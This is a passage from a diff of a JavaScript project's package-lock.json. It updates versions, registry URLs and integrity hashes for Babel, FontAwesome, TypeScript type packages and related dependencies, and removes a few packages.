"@babel/plugin-transform-sticky-regex": "^7.12.13", - "@babel/plugin-transform-template-literals": "^7.13.0", - "@babel/plugin-transform-typeof-symbol": "^7.12.13", - "@babel/plugin-transform-unicode-escapes": "^7.12.13", - "@babel/plugin-transform-unicode-regex": "^7.12.13", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-transform-arrow-functions": "^7.14.5", + "@babel/plugin-transform-async-to-generator": "^7.14.5", + "@babel/plugin-transform-block-scoped-functions": "^7.14.5", + "@babel/plugin-transform-block-scoping": "^7.15.3", + "@babel/plugin-transform-classes": "^7.15.4", + "@babel/plugin-transform-computed-properties": "^7.14.5", + "@babel/plugin-transform-destructuring": "^7.14.7", + "@babel/plugin-transform-dotall-regex": "^7.14.5", + "@babel/plugin-transform-duplicate-keys": "^7.14.5", + "@babel/plugin-transform-exponentiation-operator": "^7.14.5", + "@babel/plugin-transform-for-of": "^7.15.4", + "@babel/plugin-transform-function-name": "^7.14.5", + "@babel/plugin-transform-literals": "^7.14.5", + "@babel/plugin-transform-member-expression-literals": "^7.14.5", + "@babel/plugin-transform-modules-amd": "^7.14.5", + "@babel/plugin-transform-modules-commonjs": "^7.15.4", + "@babel/plugin-transform-modules-systemjs": "^7.15.4", + "@babel/plugin-transform-modules-umd": "^7.14.5", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.14.9", + "@babel/plugin-transform-new-target": "^7.14.5", + "@babel/plugin-transform-object-super": "^7.14.5", + "@babel/plugin-transform-parameters": "^7.15.4", + "@babel/plugin-transform-property-literals": "^7.14.5", + "@babel/plugin-transform-regenerator": "^7.14.5", + "@babel/plugin-transform-reserved-words": "^7.14.5", + "@babel/plugin-transform-shorthand-properties": "^7.14.5", + "@babel/plugin-transform-spread": "^7.15.8", + "@babel/plugin-transform-sticky-regex": "^7.14.5", + "@babel/plugin-transform-template-literals": "^7.14.5", + "@babel/plugin-transform-typeof-symbol": "^7.14.5", + "@babel/plugin-transform-unicode-escapes": "^7.14.5", + "@babel/plugin-transform-unicode-regex": "^7.14.5", "@babel/preset-modules": "^0.1.4", - "@babel/types": "^7.13.14", - "babel-plugin-polyfill-corejs2": "^0.2.0", - "babel-plugin-polyfill-corejs3": "^0.2.0", - "babel-plugin-polyfill-regenerator": "^0.2.0", - "core-js-compat": "^3.9.0", + "@babel/types": "^7.15.6", + "babel-plugin-polyfill-corejs2": "^0.2.2", + "babel-plugin-polyfill-corejs3": "^0.2.5", + "babel-plugin-polyfill-regenerator": "^0.2.2", + "core-js-compat": "^3.16.0", "semver": "^6.3.0" }, "dependencies": { "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } }, @@ -2449,23 +2352,23 @@ } }, "@babel/preset-react": { - "version": "7.13.13", - "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.13.13.tgz", - "integrity": "sha512-gx+tDLIE06sRjKJkVtpZ/t3mzCDOnPG+ggHZG9lffUbX8+wC739x20YQc9V35Do6ZAxaUc/HhVHIiOzz5MvDmA==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.14.5.tgz", + "integrity": "sha512-XFxBkjyObLvBaAvkx1Ie95Iaq4S/GUEIrejyrntQ/VCMKUYvKLoyKxOBzJ2kjA3b6rC9/KL6KXfDC2GqvLiNqQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0", - "@babel/helper-validator-option": "^7.12.17", - "@babel/plugin-transform-react-display-name": "^7.12.13", - "@babel/plugin-transform-react-jsx": "^7.13.12", - "@babel/plugin-transform-react-jsx-development": "^7.12.17", - "@babel/plugin-transform-react-pure-annotations": "^7.12.1" + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-validator-option": "^7.14.5", + "@babel/plugin-transform-react-display-name": "^7.14.5", + "@babel/plugin-transform-react-jsx": "^7.14.5", + "@babel/plugin-transform-react-jsx-development": "^7.14.5", + "@babel/plugin-transform-react-pure-annotations": "^7.14.5" } }, "@babel/runtime": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", - "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.15.4.tgz", + "integrity": "sha512-99catp6bHCaxr4sJ/DbTGgHS4+Rs2RVd2g7iOap6SLGPDknRK9ztKNsE/Fg6QhSeh1FGE5f6gHGQmvvn3I3xhw==", "requires": { "regenerator-runtime": "^0.13.4" } @@ -2548,14 +2451,6 @@ "integrity": "sha512-6nFkfkmSeV/rqSaS4oWHgmpnYw194f6hmWF5is6b0J1naJZoiD0NTc9AiUwPHvWsowkjuHErCZT1wa0jg+BLIA==", "dev": true }, - "@egjs/hammerjs": { - "version": "2.0.17", - "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", - "integrity": "sha512-XQsZgjm2EcVUiZQf11UBJQfmZeEmOW8DpI1gsFeln6w0ae0ii4dMQEQ0kjl6DspdWX1aGY1/loyXnP0JS06e/A==", - "requires": { - "@types/hammerjs": "^2.0.36" - } - }, "@emotion/cache": { "version": "10.0.29", "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-10.0.29.tgz", @@ -2638,38 +2533,38 @@ "integrity": "sha512-6U71C2Wp7r5XtFtQzYrW5iKFT67OixrSxjI4MptCHzdSVlgabczzqLe0ZSgnub/5Kp4hSbpDB1tMytZY9pwxxA==" }, "@fortawesome/fontawesome-common-types": { - "version": "0.2.35", - "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-0.2.35.tgz", - "integrity": "sha512-IHUfxSEDS9dDGqYwIW7wTN6tn/O8E0n5PcAHz9cAaBoZw6UpG20IG/YM3NNLaGPwPqgjBAFjIURzqoQs3rrtuw==" + "version": "0.2.36", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-0.2.36.tgz", + "integrity": "sha512-a/7BiSgobHAgBWeN7N0w+lAhInrGxksn13uK7231n2m8EDPE3BMCl9NZLTGrj9ZXfCmC6LM0QLqXidIizVQ6yg==" }, "@fortawesome/fontawesome-svg-core": { - "version": "1.2.35", - "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-1.2.35.tgz", - "integrity": "sha512-uLEXifXIL7hnh2sNZQrIJWNol7cTVIzwI+4qcBIq9QWaZqUblm0IDrtSqbNg+3SQf8SMGHkiSigD++rHmCHjBg==", + "version": "1.2.36", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-1.2.36.tgz", + "integrity": "sha512-YUcsLQKYb6DmaJjIHdDWpBIGCcyE/W+p/LMGvjQem55Mm2XWVAP5kWTMKWLv9lwpCVjpLxPyOMOyUocP1GxrtA==", "requires": { - "@fortawesome/fontawesome-common-types": "^0.2.35" + "@fortawesome/fontawesome-common-types": "^0.2.36" } }, "@fortawesome/free-regular-svg-icons": { - "version": "5.15.3", - "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-5.15.3.tgz", - "integrity": "sha512-q4/p8Xehy9qiVTdDWHL4Z+o5PCLRChePGZRTXkl+/Z7erDVL8VcZUuqzJjs6gUz6czss4VIPBRdCz6wP37/zMQ==", + "version": "5.15.4", + "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-5.15.4.tgz", + "integrity": "sha512-9VNNnU3CXHy9XednJ3wzQp6SwNwT3XaM26oS4Rp391GsxVYA+0oDR2J194YCIWf7jNRCYKjUCOduxdceLrx+xw==", "requires": { - "@fortawesome/fontawesome-common-types": "^0.2.35" + "@fortawesome/fontawesome-common-types": "^0.2.36" } }, "@fortawesome/free-solid-svg-icons": { - "version": "5.15.3", - "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-5.15.3.tgz", - "integrity": "sha512-XPeeu1IlGYqz4VWGRAT5ukNMd4VHUEEJ7ysZ7pSSgaEtNvSo+FLurybGJVmiqkQdK50OkSja2bfZXOeyMGRD8Q==", + "version": "5.15.4", + "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-5.15.4.tgz", + "integrity": "sha512-JLmQfz6tdtwxoihXLg6lT78BorrFyCf59SAwBM6qV/0zXyVeDygJVb3fk+j5Qat+Yvcxp1buLTY5iDh1ZSAQ8w==", "requires": { - "@fortawesome/fontawesome-common-types": "^0.2.35" + "@fortawesome/fontawesome-common-types": "^0.2.36" } }, "@fortawesome/react-fontawesome": { - "version": "0.1.14", - "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.14.tgz", - "integrity": "sha512-4wqNb0gRLVaBm/h+lGe8UfPPivcbuJ6ecI4hIgW0LjI7kzpYB9FkN0L9apbVzg+lsBdcTf0AlBtODjcSX5mmKA==", + "version": "0.1.15", + "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.15.tgz", + "integrity": "sha512-/HFHdcoLESxxMkqZAcZ6RXDJ69pVApwdwRos/B2kiMWxDSAX2dFK8Er2/+rG+RsrzWB/dsAyjefLmemgmfE18g==", "requires": { "prop-types": "^15.7.2" } @@ -2697,9 +2592,9 @@ } }, "chalk": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", - "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "dev": true, "requires": { "ansi-styles": "^4.1.0", @@ -2744,55 +2639,42 @@ "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==" }, "@nicolo-ribaudo/chokidar-2": { - "version": "2.1.8-no-fsevents.2", - "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.2.tgz", - "integrity": "sha512-Fb8WxUFOBQVl+CX4MWet5o7eCc6Pj04rXIwVKZ6h1NnqTo45eOQW6aWyhG25NIODvWFwTDMwBsYxrQ3imxpetg==", + "version": "2.1.8-no-fsevents.3", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.3.tgz", + "integrity": "sha512-s88O1aVtXftvp5bCPB7WnmXc5IwOZZ7YPuwNPt+GtOOXpPvad1LfbmjYv+qII7zP6RU2QGnqve27dnLycEnyEQ==", "dev": true, - "optional": true, - "requires": { - "anymatch": "^2.0.0", - "async-each": "^1.0.1", - "braces": "^2.3.2", - "glob-parent": "^5.1.2", - "inherits": "^2.0.3", - "is-binary-path": "^1.0.0", - "is-glob": "^4.0.0", - "normalize-path": "^3.0.0", - "path-is-absolute": "^1.0.0", - "readdirp": "^2.2.1", - "upath": "^1.1.1" - } + "optional": true }, "@nodelib/fs.scandir": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.4.tgz", - "integrity": "sha512-33g3pMJk3bg5nXbL/+CY6I2eJDzZAni49PfJnL5fghPTggPvBd/pFNSgJsdAgWptuFu7qq/ERvOYFlhvsLTCKA==", + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", "dev": true, "requires": { - "@nodelib/fs.stat": "2.0.4", + "@nodelib/fs.stat": "2.0.5", "run-parallel": "^1.1.9" } }, "@nodelib/fs.stat": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.4.tgz", - "integrity": "sha512-IYlHJA0clt2+Vg7bccq+TzRdJvv19c2INqBSsoOLp1je7xjtr7J26+WXR72MCdvU9q1qTzIWDfhMf+DRvQJK4Q==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", "dev": true }, "@nodelib/fs.walk": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.6.tgz", - "integrity": "sha512-8Broas6vTtW4GIXTAHDoE32hnN2M5ykgCpWGbuXHQ15vEMqr23pB76e/GZcYsZCHALv50ktd24qhEyKr6wBtow==", + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", "dev": true, "requires": { - "@nodelib/fs.scandir": "2.1.4", + "@nodelib/fs.scandir": "2.1.5", "fastq": "^1.6.0" } }, "@popperjs/core": { - "version": "2.9.2", - "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.9.2.tgz", - "integrity": "sha512-VZMYa7+fXHdwIq1TDhSXoVmSPEGM/aa+6Aiq3nVVJ9bXr24zScr+NlKFKC3iPljA7ho/GAZr+d2jOf5GIRC30Q==" + "version": "2.10.2", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.10.2.tgz", + "integrity": "sha512-IXf3XA7+XyN7CP9gGh/XB0UxVMlvARGEgGXLubFICsUMGz6Q+DU+i4gGlpOxTjKvXjkJDJC8YdqdKkDj9qZHEQ==" }, "@restart/context": { "version": "2.1.4", @@ -2800,12 +2682,11 @@ "integrity": "sha512-INJYZQJP7g+IoDUh/475NlGiTeMfwTXUEr3tmRneckHIxNolGOW9CTq83S8cxq0CgJwwcMzMJFchxvlwe7Rk8Q==" }, "@restart/hooks": { - "version": "0.3.26", - "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.3.26.tgz", - "integrity": "sha512-7Hwk2ZMYm+JLWcb7R9qIXk1OoUg1Z+saKWqZXlrvFwT3w6UArVNWgxYOzf+PJoK9zZejp8okPAKTctthhXLt5g==", + "version": "0.3.27", + "resolved": "https://registry.npmjs.org/@restart/hooks/-/hooks-0.3.27.tgz", + "integrity": "sha512-s984xV/EapUIfkjlf8wz9weP2O9TNKR96C68FfMEy2bE69+H4cNv3RD4Mf97lW7Htt7PjZrYTjSC8f3SB9VCXw==", "requires": { - "lodash": "^4.17.20", - "lodash-es": "^4.17.20" + "dequal": "^2.0.2" } }, "@stylelint/postcss-css-in-js": { @@ -2827,11 +2708,6 @@ "unist-util-find-all-after": "^3.0.2" } }, - "@types/classnames": { - "version": "2.2.11", - "resolved": "https://registry.npmjs.org/@types/classnames/-/classnames-2.2.11.tgz", - "integrity": "sha512-2koNhpWm3DgWRp5tpkiJ8JGc1xTn2q0l+jUNUE7oMKXUf5NpI9AIdC4kbjGNFBdHtcxBD18LAksoudAVhFKCjw==" - }, "@types/color-name": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz", @@ -2864,11 +2740,6 @@ "integrity": "sha512-C6N5s2ZFtuZRj54k2/zyRhNDjJwwcViAM3Nbm8zjBpbqAdZ00mr0CFxvSKeO8Y/e03WVFLpQMdHYVfUd6SB+Hw==", "dev": true }, - "@types/hammerjs": { - "version": "2.0.36", - "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz", - "integrity": "sha512-7TUK/k2/QGpEAv/BCwSHlYu3NXZhQ9ZwBYpzr9tjlPIL2C5BeGhH3DmVavRx3ZNyELX5TLC91JTz/cen6AAtIQ==" - }, "@types/history": { "version": "4.7.9", "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.9.tgz", @@ -2890,9 +2761,9 @@ } }, "@types/invariant": { - "version": "2.2.34", - "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.34.tgz", - "integrity": "sha512-lYUtmJ9BqUN688fGY1U1HZoWT1/Jrmgigx2loq4ZcJpICECm/Om3V314BxdzypO0u5PORKGMM6x0OXaljV1YFg==" + "version": "2.2.35", + "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.35.tgz", + "integrity": "sha512-DxX1V9P8zdJPYQat1gHyY0xj3efl8gnMVjiM9iCY6y27lj+PoQWkgjt8jDqmovPqULkKVpKRg8J36iQiA+EtEg==" }, "@types/istanbul-lib-coverage": { "version": "2.0.3", @@ -2910,18 +2781,18 @@ } }, "@types/istanbul-reports": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.0.tgz", - "integrity": "sha512-nwKNbvnwJ2/mndE9ItP/zc2TCzw6uuodnF4EHYWD+gCQDVBuRQL5UzbZD0/ezy1iKsFU2ZQiDqg4M9dN4+wZgA==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", + "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", "dev": true, "requires": { "@types/istanbul-lib-report": "*" } }, "@types/jest": { - "version": "26.0.22", - "resolved": "https://registry.npmjs.org/@types/jest/-/jest-26.0.22.tgz", - "integrity": "sha512-eeWwWjlqxvBxc4oQdkueW5OF/gtfSceKk4OnOAGlUSwS/liBRtZppbJuz1YkgbrbfGOoeBHun9fOvXnjNwrSOw==", + "version": "26.0.24", + "resolved": "https://registry.npmjs.org/@types/jest/-/jest-26.0.24.tgz", + "integrity": "sha512-E/X5Vib8BWqZNRlDxj9vYXhsDwPYbPINqKF9BsnSoon4RQ0D9moEuLD8txgyypFLH7J4+Lho9Nr/c8H0Fi+17w==", "dev": true, "requires": { "jest-diff": "^26.0.0", @@ -2934,30 +2805,30 @@ "integrity": "sha512-7+2BITlgjgDhH0vvwZU/HZJVyk+2XUlvxXe8dFMedNX/aMkaOq++rMAFXc0tM7ij15QaWlbdQASBR9dihi+bDQ==" }, "@types/mdast": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.3.tgz", - "integrity": "sha512-SXPBMnFVQg1s00dlMCc/jCdvPqdE4mXaMMCeRlxLDmTAEoegHT53xKtkDnzDTOcmMHUfcjyf36/YYZ6SxRdnsw==", + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.10.tgz", + "integrity": "sha512-W864tg/Osz1+9f4lrGTZpCSO5/z4608eUp19tbozkq2HJK6i3z1kT0H9tlADXuYIb1YYOBByU4Jsqkk75q48qA==", "dev": true, "requires": { "@types/unist": "*" } }, "@types/minimist": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.1.tgz", - "integrity": "sha512-fZQQafSREFyuZcdWFAExYjBiCL7AUCdgsk80iO0q4yihYYdcIiH28CcuPTGFgLOCC8RlW49GSQxdHwZP+I7CNg==", + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.2.tgz", + "integrity": "sha512-jhuKLIRrhvCPLqwPcx6INqmKeiA5EWrsCOPhrlFSrbrmU4ZMPjj5Ul/oLCMDO98XRUIwVm78xICz4EPCektzeQ==", "dev": true }, "@types/node": { - "version": "14.14.37", - "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.37.tgz", - "integrity": "sha512-XYmBiy+ohOR4Lh5jE379fV2IU+6Jn4g5qASinhitfyO71b/sCo6MKsMLF5tc7Zf2CE8hViVQyYSobJNke8OvUw==", + "version": "14.17.21", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.21.tgz", + "integrity": "sha512-zv8ukKci1mrILYiQOwGSV4FpkZhyxQtuFWGya2GujWg+zVAeRQ4qbaMmWp9vb9889CFA8JECH7lkwCL6Ygg8kA==", "dev": true }, "@types/normalize-package-data": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha512-f5j5b/Gf71L+dbqxIpQ4Z2WlmI/mPJ0fOkGGmFgtb6sAu97EPczzbS3/tJKxmcYDj55OX6ssqwDAWOHIYDRDGA==", + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.1.tgz", + "integrity": "sha512-Gj7cI7z+98M282Tqmp2K5EIsoouUEzbBJhQQzDE3jSIRk6r9gsz0oUokqIUR4u1R3dMHo0pDHM7sNOHyhulypw==", "dev": true }, "@types/parse-json": { @@ -2966,14 +2837,14 @@ "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" }, "@types/prop-types": { - "version": "15.7.3", - "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.3.tgz", - "integrity": "sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw==" + "version": "15.7.4", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.4.tgz", + "integrity": "sha512-rZ5drC/jWjrArrS8BR6SIr4cWpW09RNTYt9AMZo3Jwwif+iacXAqgVjm0B0Bv/S1jhDXKHqRVNCbACkJ89RAnQ==" }, "@types/react": { - "version": "16.14.5", - "resolved": "https://registry.npmjs.org/@types/react/-/react-16.14.5.tgz", - "integrity": "sha512-YRRv9DNZhaVTVRh9Wmmit7Y0UFhEVqXqCSw3uazRWMxa2x85hWQZ5BN24i7GXZbaclaLXEcodEeIHsjBA8eAMw==", + "version": "16.14.16", + "resolved": "https://registry.npmjs.org/@types/react/-/react-16.14.16.tgz", + "integrity": "sha512-7waDQ0h1TkAk99S04wV0LUiiSXpT02lzrdDF4WZFqn2W0XE5ICXLBMtqXWZ688aX2dJislQ3knmZX/jH53RluQ==", "requires": { "@types/prop-types": "*", "@types/scheduler": "*", @@ -2981,34 +2852,34 @@ }, "dependencies": { "csstype": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.7.tgz", - "integrity": "sha512-KxnUB0ZMlnUWCsx2Z8MUsr6qV6ja1w9ArPErJaJaF8a5SOWoHLIszeCTKGRGRgtLgYrs1E8CHkNSP1VZTTPc9g==" + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", + "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" } } }, "@types/react-dom": { - "version": "16.9.12", - "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.12.tgz", - "integrity": "sha512-i7NPZZpPte3jtVOoW+eLB7G/jsX5OM6GqQnH+lC0nq0rqwlK0x8WcMEvYDgFWqWhWMlTltTimzdMax6wYfZssA==", + "version": "16.9.14", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.14.tgz", + "integrity": "sha512-FIX2AVmPTGP30OUJ+0vadeIFJJ07Mh1m+U0rxfgyW34p3rTlXI+nlenvAxNn4BP36YyI9IJ/+UJ7Wu22N1pI7A==", "dev": true, "requires": { "@types/react": "^16" } }, "@types/react-router": { - "version": "5.1.16", - "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.16.tgz", - "integrity": "sha512-8d7nR/fNSqlTFGHti0R3F9WwIertOaaA1UEB8/jr5l5mDMOs4CidEgvvYMw4ivqrBK+vtVLxyTj2P+Pr/dtgzg==", + "version": "5.1.17", + "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.17.tgz", + "integrity": "sha512-RNSXOyb3VyRs/EOGmjBhhGKTbnN6fHWvy5FNLzWfOWOGjgVUKqJZXfpKzLmgoU8h6Hj8mpALj/mbXQASOb92wQ==", "requires": { "@types/history": "*", "@types/react": "*" } }, "@types/react-router-dom": { - "version": "5.1.8", - "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.1.8.tgz", - "integrity": "sha512-03xHyncBzG0PmDmf8pf3rehtjY0NpUj7TIN46FrT5n1ZWHPZvXz32gUyNboJ+xsL8cpg8bQVLcllptcQHvocrw==", + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.3.1.tgz", + "integrity": "sha512-UvyRy73318QI83haXlaMwmklHHzV9hjl3u71MmM6wYNu0hOVk9NLTa0vGukf8zXUqnwz4O06ig876YSPpeK28A==", "requires": { "@types/history": "*", "@types/react": "*", @@ -3024,9 +2895,9 @@ } }, "@types/react-transition-group": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.1.tgz", - "integrity": "sha512-vIo69qKKcYoJ8wKCJjwSgCTM+z3chw3g18dkrDfVX665tMH7tmbDxEAnPdey4gTlwZz5QuHGzd+hul0OVZDqqQ==", + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.3.tgz", + "integrity": "sha512-fUx5muOWSYP8Bw2BUQ9M9RK9+W1XBK/7FLJ8PTQpnpTEkn0ccyMffyEQvan4C3h53gHdx7KE5Qrxi/LnUGQtdg==", "requires": { "@types/react": "*" } @@ -3038,14 +2909,14 @@ "dev": true }, "@types/scheduler": { - "version": "0.16.1", - "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.1.tgz", - "integrity": "sha512-EaCxbanVeyxDRTQBkdLb3Bvl/HK7PBK6UJjsSixB0iHKoWxE5uu2Q/DgtpOhPIojN0Zl1whvOd7PoHs2P0s5eA==" + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz", + "integrity": "sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew==" }, "@types/unist": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.3.tgz", - "integrity": "sha512-FvUupuM3rlRsRtCN+fDudtmytGO6iHJuuRKS1Ss0pG5z8oX0diNEw94UEL7hgDbpN94rgaK5R7sWm6RrSkZuAQ==", + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.6.tgz", + "integrity": "sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ==", "dev": true }, "@types/warning": { @@ -3054,18 +2925,18 @@ "integrity": "sha1-DSUBJorY+ZYrdA04fEZU9fjiPlI=" }, "@types/yargs": { - "version": "15.0.13", - "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.13.tgz", - "integrity": "sha512-kQ5JNTrbDv3Rp5X2n/iUu37IJBDU2gsZ5R/g1/KHOOEc5IKfUFjXT6DENPGduh08I/pamwtEq4oul7gUqKTQDQ==", + "version": "15.0.14", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.14.tgz", + "integrity": 